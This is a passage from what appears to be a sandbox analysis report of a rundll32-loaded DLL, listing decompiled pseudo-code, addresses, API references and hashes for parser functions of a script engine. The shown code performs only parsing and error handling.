					_v8 = 1;
					if(E100121C0(__ecx, _t224) == 0) {
						L45:
						_v8 = 0xffffffff;
						 *0x1006a3d8();
						 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 4))))();
						goto L46;
					}
					_t111 =  *((intOrPtr*)(__ecx + 0x3c));
					if(_t111 == 0x10) {
						goto L45;
					}
					if(_t224 ==  *((intOrPtr*)(__ecx + 0x34))) {
						_t168 = _a8 & 0x00000020;
						if(_t168 != 0 || _t111 == 5) {
							if(_t111 == 1 || _t111 == 2) {
								goto L25;
							} else {
								_t137 =  *0x1006a204();
								if(_t137 != 5) {
									L15:
									 *((intOrPtr*)( *((intOrPtr*)( *_t224 + 0x30))))();
									_t140 =  *0x1006a1d8();
									_t193 =  *0x1009415c; // 0x0
									_t141 = E10003EE0(_t193, _t140);
									_t228 = _t141;
									_t142 =  *0x1006a1d0(0x9c);
									_a8 = _t142;
									_v8 = 6;
									if(_t142 == 0) {
										_t143 = 0;
									} else {
										_t143 = E1000A920(_t142,  *((intOrPtr*)(_a4 + 0x6a)), _t228,  *((intOrPtr*)(_t155 + 0x1c)),  *((intOrPtr*)(_t155 + 0x38)));
									}
									_v8 = 1;
									 *0x1006a174(_t143);
									if( *((intOrPtr*)(_t155 + 0x14)) != 5) {
										_t222 = 0;
									} else {
										_t222 =  *((intOrPtr*)(_t155 + 0xc));
									}
									_t34 = _t222 + 0x22;
									 *_t34 =  *((intOrPtr*)(_t222 + 0x22)) - 1;
									if( *_t34 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *_t222 + 0x14))))();
									}
									if( *((intOrPtr*)(_t155 + 0x3c)) == 5) {
										 *(_t155 + 0x24) = 0x2010427;
									}
									goto L45;
								}
								if( *((intOrPtr*)(_t155 + 0x14)) != _t137) {
									_t147 = 0;
								} else {
									_t147 =  *((intOrPtr*)(_t155 + 0xc));
								}
								if( *((intOrPtr*)(_t147 + 0x6e)) == 0x2000008d) {
									goto L45;
								} else {
									goto L15;
								}
							}
						} else {
							L25:
							if( *((intOrPtr*)( *((intOrPtr*)(_t155 + 0x20)) + 0x6e)) != 0x20000097 || _t168 == 0 || _t111 != 1 && _t111 != 2) {
								_t169 = _t155 + 4;
								if( *((intOrPtr*)(_t155 + 0x14)) != 5) {
									_t221 = 0;
								} else {
									_t221 =  *((intOrPtr*)(_t169 + 8));
								}
								_v32 = _t221;
								if(_t221 != 0) {
									 *((intOrPtr*)(_t221 + 0x22)) =  *((intOrPtr*)(_t221 + 0x22)) + 1;
								}
								_v8 = 2;
								 *0x1006a2c8();
								_v24 =  *((intOrPtr*)(_a4 + 0x6a));
								 *0x1006a230();
								_v8 = 3;
								 *0x1006a41c();
								_v8 = 4;
								if(( *(_t155 + 0x24) & 0x00200000) == 0) {
									_push( &_a8);
									_push( &_v56);
									_t207 =  *((intOrPtr*)( *_t224 + 0x74));
									_push( *((intOrPtr*)(_t155 + 0x38)));
								} else {
									_t207 =  *((intOrPtr*)( *_t224 + 0x94));
									_push( &_a8);
									_push( &_v56);
									_push( *((intOrPtr*)(_t155 + 0x38)));
								}
								_t226 =  *_t207();
								if(_t226 != 2) {
									if(_t226 == 0) {
										goto L40;
									}
									_t183 =  *0x1009415c; // 0x0
									_t130 = E100049E0(_t183, _t207,  &_v28,  *((intOrPtr*)(_t155 + 0x1c)));
									_v8 = 5;
									E10013390(_v24,  &_a8, _t226, _t130);
									_v8 = 4;
									 *0x1006a184();
									goto L42;
								} else {
									 *0x1006a2c8();
									L40:
									_t227 =  &_v56;
									if(E10011730(_t221, _t227,  *((intOrPtr*)(_a4 + 0x6a))) == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x6a)))) + 0xe0))))(_t227, 1);
									}
									L42:
									 *0x1006a170( &_v56);
									_v8 = 3;
									 *0x1006a414();
									_v8 = 2;
									 *0x1006a1c8();
									_v8 = 1;
									if(_t221 != 0) {
										_t83 = _t221 + 0x22;
										 *_t83 =  *((intOrPtr*)(_t221 + 0x22)) - 1;
										if( *_t83 == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *_t221 + 0x14))))();
										}
									}
									goto L45;
								}
							} else {
								 *0x1006a2c8();
								_v8 = 0xffffffff;
								E1000A900();
								goto L46;
							}
						}
					} else {
						E1000FD60( *((intOrPtr*)(_t219 + 0x6a)),  *((intOrPtr*)(__ecx + 0x1c)), 0x37,  *((intOrPtr*)(__ecx + 0x1c)));
						goto L45;
					}
				} else {
					_t200 =  *0x1009415c; // 0x0
					_t151 = E100049E0(_t200, __edx,  &_a4,  *((intOrPtr*)(__ecx + 0x1c)));
					_v8 = 0;
					E100099F0( *((intOrPtr*)(_t219 + 0x6a)), 0x37, _t151, 0xffffffff, 0);
					_v8 = 0xffffffff;
					 *0x1006a184();
					L46:
					 *[fs:0x0] = _v16;
					return _t155 + 4;
				}
			}

0x10012353
0x10012355
0x10012360
0x10012367
0x1001236e
0x10012372
0x10012378
0x1001237a
0x1001237d
0x10012382
0x100123c7
0x100123cf
0x100123d2
0x100123db
0x100123e4
0x100123f2
0x10012629
0x1001262f
0x10012636
0x10012644
0x00000000
0x10012644
0x100123f8
0x100123fe
0x00000000
0x00000000
0x10012407
0x1001241f
0x10012422
0x10012430
0x00000000
0x1001243f
0x10012442
0x1001244b
0x10012466
0x1001246d
0x10012471
0x10012477
0x1001247e
0x10012488
0x1001248a
0x10012493
0x10012496
0x1001249c
0x100124b7
0x1001249e
0x100124b0
0x100124b0
0x100124bd
0x100124c1
0x100124cf
0x100124d6
0x100124d1
0x100124d1
0x100124d1
0x100124d8
0x100124d8
0x100124db
0x100124e4
0x100124e4
0x100124e9
0x100124ef
0x100124ef
0x00000000
0x100124e9
0x10012450
0x10012457
0x10012452
0x10012452
0x10012452
0x10012460
0x00000000
0x00000000
0x00000000
0x00000000
0x10012460
0x100124fb
0x100124fb
0x10012505
0x10012536
0x10012539
0x10012540
0x1001253b
0x1001253b
0x1001253b
0x10012542
0x10012547
0x10012549
0x10012549
0x1001254c
0x10012550
0x1001255c
0x10012562
0x1001256b
0x1001256f
0x1001257c
0x10012580
0x1001259d
0x100125a4
0x100125a5
0x100125a8
0x10012582
0x10012584
0x1001258d
0x10012594
0x10012595
0x10012595
0x100125ad
0x100125b2
0x1001265f
0x00000000
0x00000000
0x1001266d
0x10012673
0x10012681
0x10012685
0x1001268d
0x10012691
0x00000000
0x100125b8
0x100125bb
0x100125c1
0x100125c8
0x100125d5
0x100125ea
0x100125ea
0x100125ec
0x100125f3
0x100125fc
0x10012600
0x10012609
0x1001260d
0x10012613
0x10012619
0x1001261b
0x1001261b
0x1001261e
0x10012627
0x10012627
0x1001261e
0x00000000
0x10012619
0x10012515
0x10012518
0x10012521
0x10012528
0x00000000
0x10012528
0x10012505
0x10012409
0x10012412
0x00000000
0x10012412
0x10012384
0x10012387
0x10012395
0x100123a3
0x100123aa
0x100123b2
0x100123b9
0x10012646
0x1001264c
0x1001265a
0x1001265a

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?,A412DE5E), ref: 10012395
lsetError@Engine@ScScript@@UAEXHABVString@ScCore@@H_N@Z.MAIN(00000037,00000000,000000FF,00000000,?,?,A412DE5E), ref: 100123AA
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10012673

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Core@@Script@@String@$DataPool@Symbol@lget$Engine@Error@lset
String ID:
API String ID: 659111466-0
Opcode ID: 100c08ec81286783082172d7ab2b3b1e65db8297ef21558bfc1e0bd0ec5794e4
Instruction ID: a2657964c9eae376d7bf013c008861cda959d3ee39b29f179296398d7bbed192
Opcode Fuzzy Hash: 100c08ec81286783082172d7ab2b3b1e65db8297ef21558bfc1e0bd0ec5794e4
Instruction Fuzzy Hash: 2CB1CDB1900115DFDB04DF94C8D4AAEB7B6FF89350F218259E8069F291DB70EE91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1003DC60 Relevance: 6.3, APIs: 4, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E1003DC60(intOrPtr __ecx, void* __fp0) {
				intOrPtr _v8;
				char _v16;
				char _v17;
				intOrPtr _v24;
				signed int _t50;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t59;
				intOrPtr _t60;
				void* _t62;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t74;
				void* _t79;
				void* _t82;
				intOrPtr* _t88;
				signed int _t129;
				intOrPtr _t138;
				intOrPtr _t147;
				signed int _t155;
				void* _t165;

				_push(0xffffffff);
				_push(0x100655a1);
				_push( *[fs:0x0]);
				_t50 =  *0x10094144; // 0xa412de5e
				_push(_t50 ^ _t155);
				 *[fs:0x0] =  &_v16;
				_t147 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xf8)) > 0x64 || (E10009E50() & 0xffffff00 |  &_v17 -  *((intOrPtr*)(_t57 + 0x10)) > 0x00000000) == 0) {
					_t53 =  *0x1006a1d0(0x20);
					_v24 = _t53;
					_v8 = 0;
					__eflags = _t53;
					if(_t53 == 0) {
						_t54 = 0;
						__eflags = 0;
					} else {
						_t46 = _t147 + 0x8c; // 0x8c
						_t54 = E10037280(_t46);
					}
					_v8 = 0xffffffff;
					E1003AAC0(_t147, _t129, 0x1b, 0);
					 *[fs:0x0] = _v16;
					return _t54;
				} else {
					_t59 =  *((intOrPtr*)(_t147 + 0x8c));
					_t8 = _t147 + 0x8c; // 0x8c
					_t88 = _t8;
					_t165 = _t59 - 0x60;
					if(_t165 > 0) {
						__eflags = _t59 - 0x40000040;
						if(__eflags > 0) {
							_t60 = _t59 - 0x4000005b;
							__eflags = _t60;
							if(_t60 == 0) {
								 *((intOrPtr*)(_t147 + 0xf8)) =  *((intOrPtr*)(_t147 + 0xf8)) + 1;
								E1003A9F0(_t147, 0);
								_t62 = E1003BE20(_t129);
								_t41 = _t147 + 0xf8;
								 *_t41 =  *((intOrPtr*)(_t147 + 0xf8)) - 1;
								__eflags =  *_t41;
								 *[fs:0x0] = _v16;
								return _t62;
							} else {
								__eflags = _t60 == 0x20;
								if(_t60 == 0x20) {
									 *((intOrPtr*)(_t147 + 0xf8)) =  *((intOrPtr*)(_t147 + 0xf8)) + 1;
									E1003A9F0(_t147, 0);
									_t65 = E1003BF40(_t147, _t129);
									_t36 = _t147 + 0xf8;
									 *_t36 =  *((intOrPtr*)(_t147 + 0xf8)) - 1;
									__eflags =  *_t36;
									 *[fs:0x0] = _v16;
									return _t65;
								} else {
									goto L22;
								}
							}
						} else {
							if(__eflags == 0) {
								goto L19;
							} else {
								__eflags = _t59 - 0x64;
								if(_t59 == 0x64) {
									goto L18;
								} else {
									__eflags = _t59 - 0x40000028;
									if(_t59 != 0x40000028) {
										goto L22;
									} else {
										 *((intOrPtr*)(_t147 + 0xf8)) =  *((intOrPtr*)(_t147 + 0xf8)) + 1;
										E1003A9F0(_t147, 0);
										_t79 = E1003E550(_t147, _t129, __fp0, 0, 0);
										E1003AC80(_t147, 0x40000029, 0);
										_t22 = _t147 + 0xf8;
										 *_t22 =  *((intOrPtr*)(_t147 + 0xf8)) - 1;
										__eflags =  *_t22;
										 *[fs:0x0] = _v16;
										return _t79;
									}
								}
							}
						}
					} else {
						if(_t165 == 0) {
							L18:
							_t74 =  *0x1006a1d0(0x20);
							_v24 = _t74;
							_v8 = 2;
							goto L7;
						} else {
							_t82 = _t59 - 0xc;
							if(_t82 > 0x49) {
								L22:
								_t66 =  *0x1006a1d0(0x20);
								_v24 = _t66;
								_v8 = 3;
								__eflags = _t66;
								if(_t66 == 0) {
									_t67 = 0;
									__eflags = 0;
								} else {
									_t67 = E10037280(_t88);
								}
								__eflags =  *((intOrPtr*)(_t67 + 4));
								_v8 = 0xffffffff;
								_t138 = _t67;
								if( *((intOrPtr*)(_t67 + 4)) == 0) {
									_t70 =  *((intOrPtr*)(_t67 + 0x1c));
									__eflags = _t70 - 6;
									if(_t70 != 6) {
										__eflags = _t70 - 2;
										if(_t70 != 2) {
											_t71 =  *_t88;
											__eflags = _t71 - 0x31;
											if(_t71 < 0x31) {
												L31:
												_push(_t71);
												_push(0x17);
											} else {
												__eflags = _t71 - 0x6b;
												if(_t71 > 0x6b) {
													goto L31;
												} else {
													_push(_t71);
													_push(9);
												}
											}
											E1003AAC0(_t147, _t129);
										}
									}
								}
								E1003A9F0(_t147, 0);
								 *[fs:0x0] = _v16;
								return _t138;
							} else {
								switch( *((intOrPtr*)(( *(_t82 + 0x1003df68) & 0x000000ff) * 4 +  &M1003DF50))) {
									case 0:
										L19:
										_t73 = E1003C3E0(_t147, _t129, 2);
										 *[fs:0x0] = _v16;
										return _t73;
										goto L40;
									case 1:
										_t13 = _t147 + 4; // 0x4
										E10044CC0(_t13,  *((intOrPtr*)(_t147 + 0xac)));
										E1003A9F0(_t147, 1);
										_push(0x20);
										_t74 =  *0x1006a1d0();
										_v24 = _t74;
										_v8 = 1;
										L7:
										if(_t74 == 0) {
											_t75 = 0;
											__eflags = 0;
										} else {
											_t75 = E10037280(_t88);
										}
										_v8 = 0xffffffff;
										E1003A9F0(_t147, 0);
										 *[fs:0x0] = _v16;
										return _t75;
										goto L40;
									case 2:
										__ecx = __esi;
										__eax = E1003D730(__esi, __fp0);
										__ecx = _v16;
										 *[fs:0x0] = _v16;
										_pop(__ecx);
										_pop(__esi);
										return __eax;
										goto L40;
									case 3:
										__ecx = __esi;
										__eax = E1003C0D0(__esi, __edx);
										__ecx = _v16;
										 *[fs:0x0] = _v16;
										_pop(__ecx);
										_pop(__esi);
										return __eax;
										goto L40;
									case 4:
										goto L18;
									case 5:
										goto L22;
								}
							}
						}
					}
				}
				L40:
			}

0x1003dc63
0x1003dc65
0x1003dc70
0x1003dc77
0x1003dc7e
0x1003dc82
0x1003dc88
0x1003dc91
0x1003defe
0x1003df07
0x1003df0a
0x1003df11
0x1003df13
0x1003df25
0x1003df25
0x1003df15
0x1003df15
0x1003df1e
0x1003df1e
0x1003df2d
0x1003df36
0x1003df40
0x1003df4e
0x1003dcad
0x1003dcad
0x1003dcb3
0x1003dcb3
0x1003dcb9
0x1003dcbc
0x1003dd7b
0x1003dd80
0x1003de13
0x1003de13
0x1003de18
0x1003decc
0x1003ded6
0x1003dedd
0x1003dee2
0x1003dee2
0x1003dee2
0x1003deed
0x1003defb
0x1003de1e
0x1003de1e
0x1003de21
0x1003de9c
0x1003dea6
0x1003dead
0x1003deb2
0x1003deb2
0x1003deb2
0x1003debd
0x1003decb
0x00000000
0x00000000
0x00000000
0x1003de21
0x1003dd86
0x1003dd86
0x00000000
0x1003dd88
0x1003dd88
0x1003dd8b
0x00000000
0x1003dd8d
0x1003dd8d
0x1003dd92
0x00000000
0x1003dd98
0x1003dd98
0x1003dda2
0x1003ddad
0x1003ddbd
0x1003ddc2
0x1003ddc2
0x1003ddc2
0x1003ddcd
0x1003dddb
0x1003dddb
0x1003dd92
0x1003dd8b
0x1003dd86
0x1003dcc2
0x1003dcc2
0x1003dddc
0x1003ddde
0x1003dde7
0x1003ddea
0x00000000
0x1003dcc8
0x1003dcc8
0x1003dcce
0x1003de23
0x1003de25
0x1003de2e
0x1003de31
0x1003de38
0x1003de3a
0x1003de46
0x1003de46
0x1003de3c
0x1003de3f
0x1003de3f
0x1003de48
0x1003de4c
0x1003de53
0x1003de55
0x1003de57
0x1003de5a
0x1003de5d
0x1003de5f
0x1003de62
0x1003de64
0x1003de66
0x1003de69
0x1003de75
0x1003de75
0x1003de76
0x1003de6b
0x1003de6b
0x1003de6e
0x00000000
0x1003de70
0x1003de70
0x1003de71
0x1003de71
0x1003de6e
0x1003de7a
0x1003de7a
0x1003de62
0x1003de5d
0x1003de83
0x1003de8d
0x1003de9b
0x1003dcd4
0x1003dcdb
0x00000000
0x1003ddf6
0x1003ddfa
0x1003de04
0x1003de12
0x00000000
0x00000000
0x1003dce9
0x1003dcec
0x1003dcf5
0x1003dcfa
0x1003dcfc
0x1003dd05
0x1003dd08
0x1003dd0f
0x1003dd11
0x1003dd1d
0x1003dd1d
0x1003dd13
0x1003dd16
0x1003dd16
0x1003dd23
0x1003dd2c
0x1003dd36
0x1003dd44
0x00000000
0x00000000
0x1003dd45
0x1003dd47
0x1003dd4e
0x1003dd51
0x1003dd58
0x1003dd5a
0x1003dd5f
0x00000000
0x00000000
0x1003dd60
0x1003dd62
0x1003dd69
0x1003dd6c
0x1003dd73
0x1003dd75
0x1003dd7a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1003dcdb
0x1003dcce
0x1003dcc2
0x1003dcbc
0x00000000

APIs

lget@ESContext@ScScript@@SAAAV12@XZ.MAIN(A412DE5E,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1003DC97

Part of subcall function 10009E50: l?0ESContext@ScScript@@IAE@XZ.MAIN ref: 10009E70

l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003DD16
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003DE3F
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003DF1E

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Info@1@@Node@Scan$Context@$V12@lget@
String ID:
API String ID: 1726162085-0
Opcode ID: 4a5cc2a8428e0249da86c44e45055756a3598d81b2caa484398fd5dbd621ebdb
Instruction ID: 9dd0f81ce3a511da516af9778579093fb6a3484523cbf70260996124abd742f8
Opcode Fuzzy Hash: 4a5cc2a8428e0249da86c44e45055756a3598d81b2caa484398fd5dbd621ebdb
Instruction Fuzzy Hash: CE813732B046449FEB16EB68A4427ADF7E5EB40722F10417BE91ADF3C1EF3269008781

Uniqueness

Uniqueness Score: -1.00%

Function 1003D730 Relevance: 6.2, APIs: 4, Instructions: 243
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E1003D730(void* __ecx, void* __fp0) {
				char _v8;
				char _v16;
				char _v20;
				signed int _v24;
				signed int _v28;
				char _v32;
				char _v36;
				char _v40;
				intOrPtr* _v44;
				intOrPtr _v48;
				intOrPtr _v64;
				char _v68;
				void* _v92;
				char _v96;
				signed int _t99;
				intOrPtr* _t102;
				void* _t105;
				intOrPtr _t117;
				void* _t118;
				intOrPtr _t121;
				void* _t122;
				intOrPtr _t125;
				intOrPtr _t131;
				void* _t132;
				void* _t137;
				void* _t148;
				intOrPtr* _t151;
				signed int _t152;
				void* _t206;
				intOrPtr* _t210;
				intOrPtr* _t211;
				void* _t212;
				void* _t213;
				signed int _t215;
				void* _t216;
				void* _t218;
				void* _t233;

				_t233 = __fp0;
				_t99 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				_t213 = __ecx;
				_v24 = 0;
				_t102 =  *0x1006a1d0(0x28, _t99 ^ _t215, _t206, _t212, _t148,  *[fs:0x0], 0x1006551d, 0xffffffff);
				_t218 = _t216 - 0x50 + 4;
				_v44 = _t102;
				_v8 = 0;
				if(_t102 == 0) {
					_v28 = 0;
				} else {
					_t5 = _t213 + 0x8c; // 0x8c
					_v28 = E10038140(_t5);
				}
				_t199 = _v28;
				_v8 = 0xffffffff;
				 *((intOrPtr*)(_v28 + 8)) = 0x20000097;
				E10043420( &_v96);
				_v8 = 1;
				_v68 = 5;
				 *0x1006a190();
				_v8 = 2;
				while(1) {
					_t16 = _t213 + 0x8c; // 0x8c
					_t208 = _t16;
					_t17 = _t213 + 4; // 0x4
					_t105 = E10044320(_t17, _t16);
					 *((char*)(_t213 + 0x104)) =  *((intOrPtr*)(_t213 + 0x7f));
					 *0x1006a2c0( *0x1006a1fc());
					E1003A9F0(_t213, 0);
					if(_t105 != 0) {
						break;
					}
					E1003A9F0(_t213, 0);
					_t121 =  *0x1006a1d0(0x28);
					_t218 = _t218 + 4;
					_v44 = _t121;
					_v8 = 3;
					if(_t121 == 0) {
						_t210 = 0;
					} else {
						_t210 = E10038140(_t208);
					}
					_v8 = 2;
					 *((intOrPtr*)(_t210 + 8)) = 0x24;
					_t122 = E1003CD00(_t213, _t199, _t233, 1);
					_t151 =  *0x1006a22c; // 0x8750c
					 *_t151(_t122);
					if( *((intOrPtr*)(_t213 + 0x8c)) != 0x4000007d) {
						E1003AAC0(_t213, _t199, 0x19, 0x4000007d);
					}
					_t125 =  *((intOrPtr*)( *((intOrPtr*)( *_t210 + 4))))();
					_v44 = _t125;
					if( *((intOrPtr*)(_t125 + 4)) == 0) {
						if( *0x1006a238() != 0) {
							_v48 =  *((intOrPtr*)(_t213 + 0xac)) - _v64;
							 *0x1006a2b8( &_v20);
							_t131 =  *0x1006a1d0(0x20);
							_t218 = _t218 + 4;
							_v44 = _t131;
							_v8 = 7;
							if(_t131 == 0) {
								_t132 = 0;
							} else {
								_t132 = E10037280( &_v96);
							}
							_v8 = 2;
							 *_t151(_t132);
							 *0x1006a208();
						}
						if( *((char*)(_t213 + 0x83)) == 0) {
							asm("sbb ecx, ecx");
							 *((intOrPtr*)(_t210 + 0x1c)) = ( ~(( *(_t213 + 0x82) |  *(_t213 + 0x81)) & 0x000000ff) & 0x0000000c) + 1;
						} else {
							 *((intOrPtr*)(_t210 + 0x1c)) = 0xe;
						}
						_t199 = _v28;
						 *_t151(_t210);
					} else {
						 *0x1006a270( &_v32);
						_v8 = 4;
						if( *((char*)(_t213 + 0x83)) == 0) {
							_t137 = E1001BA80( &_v36,  &_v32);
							_t218 = _t218 + 8;
							_v24 = _v24 | 0x00000002;
							_v8 = 6;
						} else {
							_t137 = E1001BB80( &_v40,  &_v32);
							_t218 = _t218 + 8;
							_v24 = _v24 | 0x00000001;
							_v8 = 5;
						}
						 *0x1006a2c0(_t137);
						_t152 = _v24;
						_t211 =  *0x1006a184; // 0x86e1c
						_v8 = 5;
						if((_t152 & 0x00000002) != 0) {
							_t152 = _t152 & 0xfffffffd;
							_v24 = _t152;
							 *_t211();
						}
						_v8 = 4;
						if((_t152 & 0x00000001) != 0) {
							_v24 = _t152 & 0xfffffffe;
							 *_t211();
						}
						_t199 =  *_v44;
						 *((intOrPtr*)( *((intOrPtr*)( *_v44))))(1);
						_v8 = 2;
						 *_t211();
					}
					if( *((char*)(_t213 + 0x104)) != 0) {
						continue;
					}
					break;
				}
				if( *0x1006a238() != 0) {
					_v48 =  *((intOrPtr*)(_t213 + 0xac)) - _v64;
					 *0x1006a2b8( &_v20);
					_t117 =  *0x1006a1d0(0x20);
					_v44 = _t117;
					_v8 = 8;
					if(_t117 == 0) {
						_t118 = 0;
					} else {
						_t118 = E10037280( &_v96);
					}
					_v8 = 2;
					 *0x1006a22c(_t118);
				}
				_v8 = 1;
				 *0x1006a184();
				_v8 = 0xffffffff;
				 *0x1006a1c8();
				 *[fs:0x0] = _v16;
				return _v28;
			}

0x1003d730
0x1003d747
0x1003d752
0x1003d758
0x1003d75e
0x1003d761
0x1003d767
0x1003d76a
0x1003d76d
0x1003d772
0x1003d787
0x1003d774
0x1003d774
0x1003d782
0x1003d782
0x1003d78a
0x1003d790
0x1003d797
0x1003d79e
0x1003d7a6
0x1003d7ad
0x1003d7b4
0x1003d7ba
0x1003d7be
0x1003d7be
0x1003d7be
0x1003d7c5
0x1003d7c8
0x1003d7d8
0x1003d7e8
0x1003d7f2
0x1003d7f9
0x00000000
0x00000000
0x1003d803
0x1003d80a
0x1003d810
0x1003d813
0x1003d816
0x1003d81c
0x1003d82a
0x1003d81e
0x1003d826
0x1003d826
0x1003d830
0x1003d834
0x1003d83b
0x1003d843
0x1003d84a
0x1003d856
0x1003d861
0x1003d861
0x1003d86d
0x1003d872
0x1003d877
0x1003d92e
0x1003d93c
0x1003d943
0x1003d94b
0x1003d951
0x1003d954
0x1003d957
0x1003d95d
0x1003d96c
0x1003d95f
0x1003d965
0x1003d965
0x1003d975
0x1003d979
0x1003d97e
0x1003d97e
0x1003d98b
0x1003d9a7
0x1003d9ad
0x1003d98d
0x1003d98d
0x1003d98d
0x1003d9b0
0x1003d9b7
0x1003d87d
0x1003d881
0x1003d88e
0x1003d892
0x1003d8b6
0x1003d8bb
0x1003d8be
0x1003d8c2
0x1003d894
0x1003d89c
0x1003d8a1
0x1003d8a4
0x1003d8a8
0x1003d8a8
0x1003d8cd
0x1003d8d3
0x1003d8d6
0x1003d8dc
0x1003d8e6
0x1003d8e8
0x1003d8ee
0x1003d8f1
0x1003d8f1
0x1003d8f3
0x1003d8fd
0x1003d905
0x1003d908
0x1003d908
0x1003d90d
0x1003d913
0x1003d918
0x1003d91c
0x1003d91c
0x1003d9c0
0x00000000
0x00000000
0x00000000
0x1003d9c0
0x1003d9d1
0x1003d9e3
0x1003d9e6
0x1003d9ee
0x1003d9f7
0x1003d9fa
0x1003da00
0x1003da0f
0x1003da02
0x1003da08
0x1003da08
0x1003da18
0x1003da1c
0x1003da1c
0x1003da25
0x1003da29
0x1003da32
0x1003da39
0x1003da45
0x1003da53

APIs

l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003D77D

Part of subcall function 10038140: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(1003DB14,A412DE5E,00000000,00000000,?,00000000,00000000,100649B0,000000FF,?,1003DB14,0000008C,?,00000000,?,00000000), ref: 1003816F

l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003D821
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(?), ref: 1003D965
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(?), ref: 1003DA08

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Info@1@@Node@ScanScript@@$List
String ID:
API String ID: 1847649782-0
Opcode ID: 3394fd3c2efac857b78611a65b445580ad3af8353794aa2e6f4c4d383d6e3903
Instruction ID: cc81bedbef291fb854da7206d5558cb0c8c62bfdab0bcff4004ef0922456d51d
Opcode Fuzzy Hash: 3394fd3c2efac857b78611a65b445580ad3af8353794aa2e6f4c4d383d6e3903
Instruction Fuzzy Hash: 0BA1BE70D00249DFEB05EFA4C898BEEBBB5FF49301F10411AE556AB281DB74AA44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 10016DD0 Relevance: 6.1, APIs: 4, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E10016DD0(intOrPtr* __ecx, char _a4, signed int _a8, intOrPtr _a12) {
				char _v8;
				char _v16;
				void* _v20;
				char _v24;
				char _v32;
				intOrPtr _v40;
				signed int _v48;
				char _v56;
				void* _v68;
				char _v80;
				signed int _t51;
				void* _t94;
				intOrPtr _t96;
				intOrPtr* _t103;
				void* _t138;
				void* _t143;
				intOrPtr* _t144;
				signed int _t146;

				_t51 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				_t144 = __ecx;
				 *0x1006a4d0( *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0x34))))(), _t51 ^ _t146, _t138, _t143, _t94,  *[fs:0x0], 0x1005fd55, 0xffffffff);
				_v8 = 0;
				 *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0x18))))();
				_push(0);
				_push(0);
				_push(_a8);
				E100189C0( &_v20,  *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0xfc))))());
				_t103 = _v20;
				_v8 = 1;
				if(_t103 == 0) {
					E10014420(__ecx, _a12);
				} else {
					 *((intOrPtr*)( *((intOrPtr*)( *_t103 + 4))))();
					 *0x1006a230();
					_v8 = 2;
